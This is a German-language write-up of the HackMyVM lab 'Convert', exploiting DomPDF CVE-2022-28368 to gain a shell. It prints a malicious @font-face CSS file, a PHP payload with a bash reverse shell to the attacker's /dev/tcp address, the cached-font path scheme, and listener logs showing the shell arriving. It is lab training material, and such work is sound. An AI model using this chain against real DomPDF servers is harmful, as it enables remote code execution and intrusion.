Convert - HackMyVM - Level: Easy - Bericht

--2024-05-07 16:30:22--  http://convert.hmv/upload/d679a4b9d433c905ff3f28c86116a2e5.pdf
Auflösen des Hostnamens convert.hmv (convert.hmv)… 192.168.2.119
Verbindungsaufbau zu convert.hmv (convert.hmv)|192.168.2.119|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 9808 (9,6K) [application/pdf]
Wird in d679a4b9d433c905ff3f28c86116a2e5.pdf gespeichert.

d679a4b9d433c905ff3f28c 100%[=============================>]   9,58K  --.-KB/s    in 0s

2024-05-07 16:30:22 (838 MB/s) - d679a4b9d433c905ff3f28c86116a2e5.pdf gespeichert [9808/9808]
                     

ExifTool Version Number         : 12.76
File Name                       : d679a4b9d433c905ff3f28c86116a2e5.pdf
Directory                       : .
File Size                       : 9.8 kB
File Modification Date/Time     : 2024:05:07 16:24:30+02:00
File Access Date/Time           : 2024:05:07 16:30:22+02:00
File Inode Change Date/Time     : 2024:05:07 16:30:22+02:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Title                           : HTML to PDF
Producer                        : dompdf 1.2.0 + CPDF  
Create Date                     : 2024:05:07 14:24:30+00:00
Modify Date                     : 2024:05:07 14:24:30+00:00
                     

Analyse: Links zu einer externen Ressource (Optiv Blog) über die DomPDF-Schwachstelle und ein Beispiel-Payload werden notiert.

Bewertung: Bestätigt die Recherche zur CVE-2022-28368. Der Exploit funktioniert, indem eine CSS-Datei über einen Parameter (`title` oder ein anderer, der in den HTML-Header injiziert wird) eingebunden wird. Diese CSS-Datei lädt dann über `@font-face` eine manipulierte Font-Datei (die tatsächlich PHP-Code enthält) von einem externen Server.

Empfehlung (Pentester): Implementiere den Exploit: 1. Erstelle die bösartige CSS-Datei (`evil.css`), die auf eine PHP-Payload-URL zeigt. 2. Erstelle die PHP-Payload-Datei (`evil.php`), die die Reverse Shell enthält. Wichtig: Diese Datei muss eine gültige Font-Datei *sein* oder zumindest so aussehen, damit DomPDF sie verarbeitet. Oft wird der PHP-Code an eine echte TTF-Datei angehängt oder in diese eingebettet. 3. Hoste `evil.css` und `evil.php` auf einem HTTP-Server. 4. Starte einen Netcat-Listener für die Reverse Shell. 5. Rufe die Konvertierungs-URL auf dem Ziel auf und injiziere den ``-Tag für `evil.css` in einen geeigneten Parameter (z.B. `title`).
Empfehlung (Admin): Update DomPDF.

https://www.optiv.com/insights/source-zero/blog/exploiting-rce-vulnerability-dompdf

Beispiel-Payload (Allgemein):
http://[TARGET]/index.php?pdf&heading=

Angepasster Versuch für convert.hmv:
http://convert.hmv/?pdf&title= 
                     

Analyse: Die bösartige CSS-Datei `evil.css` wird erstellt. Sie definiert eine `@font-face` Regel für eine Schriftart namens 'evil', deren Quelle (`src`) eine URL zu einer PHP-Datei (`evil.php`) auf dem Server des Angreifers ist.

Bewertung: Korrekte Erstellung der CSS-Datei gemäß dem Exploit-Mechanismus.

Empfehlung (Pentester): Erstelle als nächstes die `evil.php`-Datei.
Empfehlung (Admin): Keine Aktion.

@font-face {
  font-family: 'evil';
  src: url('http://192.168.2.199:9001/evil.php');
  font-weight: 'normal';
  font-style: 'normal';
}
                     

Analyse: Es wird nach `.ttf`-Dateien gesucht, vermutlich um eine legitime Font-Datei als Basis für die `evil.php`-Payload zu finden. Anschließend wird eine solche Datei (`SourceCodePro-Regular.ttf`) nach `evil.php` kopiert.

Bewertung: Dies ist ein gängiger Schritt für diesen Exploit. DomPDF erwartet eine Font-Datei. Der PHP-Code wird normalerweise *in* diese Datei injiziert oder an sie angehängt.

Empfehlung (Pentester): Bearbeite die `evil.php` (die jetzt eine Kopie der TTF-Datei ist) und füge den PHP-Reverse-Shell-Code hinzu.
Empfehlung (Admin): Keine Aktion.

/usr/share/fonts/truetype/.../SourceCodePro-Regular.ttf 
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/SourceCodePro-Regular.ttf
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/SourceCodePro-Bold.ttf
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/Lato-Light.ttf
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/Lato-Regular.ttf
                     

Analyse: Der Inhalt von `evil.php` wird angezeigt. **Wichtiger Hinweis:** Im Log steht hier nur der PHP-Reverse-Shell-Code. Es ist anzunehmen, dass der vorherige `cp`-Befehl entweder ignoriert wurde und `evil.php` neu erstellt wurde, oder dass der PHP-Code am Anfang oder Ende der kopierten TTF-Datei eingefügt wurde (was hier nicht sichtbar ist). Für den Exploit muss die Datei für DomPDF wie eine Font-Datei aussehen.

Bewertung: Die PHP-Payload für die Reverse Shell (`bash -i ...`) ist korrekt definiert. Sie zielt auf den Angreifer-Host 192.168.2.199 auf Port 4444.

Empfehlung (Pentester): Stelle sicher, dass `evil.php` von DomPDF als Font erkannt wird (ggf. Code in echte TTF einbetten). Hoste `evil.css` und `evil.php`. Starte den Netcat-Listener auf Port 4444. Trigger den Exploit.
Empfehlung (Admin): Keine Aktion.

& /dev/tcp/192.168.2.199/4444 0>&1'"); ?> 
                     

Analyse: Der Python-HTTP-Server auf Port 9001 (zum Hosten von `evil.css` und `evil.php`) und der Netcat-Listener auf Port 4444 (zum Empfangen der Shell) werden gestartet.

Bewertung: Die notwendigen Server auf der Angreiferseite sind bereit.

Empfehlung (Pentester): Trigger nun den Exploit durch Aufruf der präparierten URL auf `convert.hmv`.
Empfehlung (Admin): Keine Aktion.

Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...

listening on [any] 4444 ...

Analyse: Es wird versucht, den Exploit über einen anderen Weg zu triggern. Eine lokale `index.html`-Datei wird erstellt, die nur den Link zur `evil.css` enthält. Diese lokale HTML-Datei wird dann über den Webserver des Angreifers (Port 8000) bereitgestellt. Anschließend wird die URL `http://192.168.2.199:8000/index.html` an die Konvertierungsfunktion von `convert.hmv` übergeben (implizit durch den `wget`-Aufruf der resultierenden PDF im Log).

Bewertung: Dies ist die korrekte Methode, um die Schwachstelle auszunutzen. DomPDF wird angewiesen, die HTML-Datei vom Angreifer-Server zu holen. Diese HTML lädt die CSS-Datei, die wiederum die PHP-Payload (als Font) lädt. Der HTTP-Server-Log auf Port 8000 bestätigt, dass die `index.html` vom Ziel (192.168.2.119) angefragt wurde.

Empfehlung (Pentester): Überprüfe den HTTP-Server auf Port 9001 (für `evil.css`/`evil.php`) und den Netcat-Listener auf Port 4444.
Empfehlung (Admin): Keine Aktion.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.119 - - [07/May/2024 17:16:55] "GET /index.html HTTP/1.1" 200 - 
                      

& /dev/tcp/192.168.2.199/4444 0>&1'"); ?>

@font-face {
  font-family: 'evil';
  src: url('http://192.168.2.199:8000/evil.php'); 
  font-weight: 'normal';
  font-style: 'normal';
}
                      

Analyse: Der MD5-Hash der URL der PHP-Payload wird berechnet. DomPDF verwendet diesen Hash im Dateinamen der gecachten Font-Datei.

Bewertung: Korrekte Berechnung des Hashes (`59d643681ab0c655ded60a707d16c550` für Port 8000, wäre anders für Port 9001). Dies ermöglicht es, den Pfad zu erraten, unter dem die PHP-Payload auf dem Zielserver gespeichert wird, falls DomPDF sie zwischenspeichert (`/dompdf/lib/fonts/evil_normal_[HASH].php`).

Empfehlung (Pentester): Dies ist eher zur Analyse nützlich. Der Exploit sollte über die CSS-Injection funktionieren, ohne den gecachten Pfad direkt aufrufen zu müssen. Stelle sicher, dass die Ports in den Payloads konsistent sind (CSS sollte auf Port 9001 zeigen).
Empfehlung (Admin): Keine Aktion.

59d643681ab0c655ded60a707d16c550  -

Pfad-Schema: /dompdf/lib/fonts/[FONTNAME]_normal_[MD5_HASH].php
Beispiel:    /dompdf/lib/fonts/evil_normal_59d643681ab0c655ded60a707d16c550.php
==============================================================================================================================
path = http://convert.hmv + /dompdf/lib/fonts/ + phpname + _normal_ + hash + .php
==============================================================================================================================
                     

Analyse: Es wird versucht, die (vermutlich) von DomPDF gecachte PHP-Payload-Datei direkt über `curl` aufzurufen.

Bewertung: !!Fehlgeschlagen!!** `curl` gibt eine Warnung aus, dass die Ausgabe binär ist. Dies liegt daran, dass die `evil.php` eine Kopie einer TTF-Datei ist (mit eingebettetem PHP). Der direkte Aufruf führt den PHP-Code nicht aus.

Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: " to save to a file.
                     

Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
192.168.2.119 - - [07/May/2024 22:15:37] "GET /evil.php HTTP/1.1" 200 - 
192.168.2.119 - - [07/May/2024 22:20:32] "GET /index.html HTTP/1.1" 200 - 
192.168.2.119 - - [07/May/2024 22:20:32] "GET /evil.css HTTP/1.1" 200 - 
192.168.2.119 - - [07/May/2024 22:20:32] "GET /evil.php HTTP/1.1" 200 - 
                      

listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.119] 54786
bash: cannot set terminal process group (515): Inappropriate ioctl for device
bash: no job control in this shell
eva@convert:/var/www/html/dompdf/lib/fonts$